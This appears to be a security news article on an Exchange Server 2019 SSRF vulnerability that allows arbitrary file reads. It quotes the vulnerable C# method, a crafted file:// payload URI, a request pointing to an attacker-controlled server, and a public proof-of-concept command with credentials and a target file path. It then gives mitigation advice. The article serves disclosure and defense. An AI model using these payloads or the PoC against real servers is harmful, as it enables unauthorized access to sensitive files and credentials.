A newly disclosed vulnerability in Microsoft Exchange, identified as CVE-2026-45504 (CVSS score: 8.8), exposes a critical server-side request forgery (SSRF) flaw.
This issue allows authenticated low-privileged users to access and read arbitrary files from vulnerable Exchange servers. The vulnerability, discovered by security researcher Batuhan Er from HawkTrace, affects Microsoft Exchange Server 2019.
Microsoft Exchange SSRF Vulnerability
The problem arises from improper validation of externally supplied URLs during the integration of the Web Application Open Platform Interface (WOPI).
Specifically, the flaw is found in the OneDriveProUtilities component, impacting how Exchange processes URLs when generating Web Application Companion (WAC) tokens.
The root cause is the unsafe handling of user-controlled input passed to HTTP request functions. The TryTwice method demonstrates this behavior, as it directly uses attacker-influenced input in outbound requests:
private static WebResponse TryTwice(ICallContext callContext, string url, ICredentials credentials, WebHeaderCollection headers)
{
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url);
httpWebRequest.Method = "GET";
httpWebRequest.Credentials = credentials;
...
IAsyncResult asyncResult = httpWebRequest.BeginGetResponse(null, null);
asyncResult.AsyncWaitHandle.WaitOne();
return httpWebRequest.EndGetResponse(asyncResult);
}Because the url parameter is not sanitized, attackers can supply arbitrary endpoints, triggering SSRF behavior. This becomes exploitable through a chain involving GetTokenRequestWebResponse and GetWacUrl, where Exchange constructs requests to SharePoint-like endpoints and parses XML responses containing critical fields such as WebApplicationUrl and AccessToken.
The exploitation hinges on the fact that Exchange trusts the WebApplicationUrl returned by a remote server. An attacker can host a malicious endpoint that responds with a crafted file-based URI such as:
file:///C:/Windows/win.ini#The use of the “#” fragment is crucial. When Exchange appends OAuth parameters to the URL, everything after the fragment is ignored by the URI parser, effectively preserving the original file path. This results in Exchange issuing a FileWebRequest to read local system files and return their contents to the attacker.
The attack chain begins when a low-privileged user creates a malicious reference attachment via Exchange Web Services (EWS) that points to an attacker-controlled ProviderEndpointUrl. When the attachment is accessed or previewed, Exchange initiates a backend request to the attacker’s server:
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p,requestedAction=0)?@p='http://attacker-server/'The attacker responds with the malicious file URI, triggering the file read operation. This technique enables access to sensitive files such as configuration files, credentials, or system data.
A public proof-of-concept (PoC) has been released, demonstrating exploitation using authenticated credentials:
python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local/ --target-file "C:/Windows/System32/drivers/etc/hosts"The root cause is the absence of scheme validation on the WebApplicationUrl field, which allows non-HTTP schemes such as file:// to be processed. Microsoft has not enforced strict validation before passing these URLs to file-handling functions, enabling arbitrary file access.
Security experts recommend implementing strict URL scheme validation to block file:// and similar protocols, alongside monitoring unusual EWS attachment activity and outbound SSRF patterns. Organizations using on-prem Exchange deployments should prioritize patching once updates are available and restrict access to Exchange services to minimize exposure.
Interact with Cyber Threats in Windows, Linux, macOS VMs to Trigger Full Attack Chain - Analyse Malware & Phishing with ANY RUN
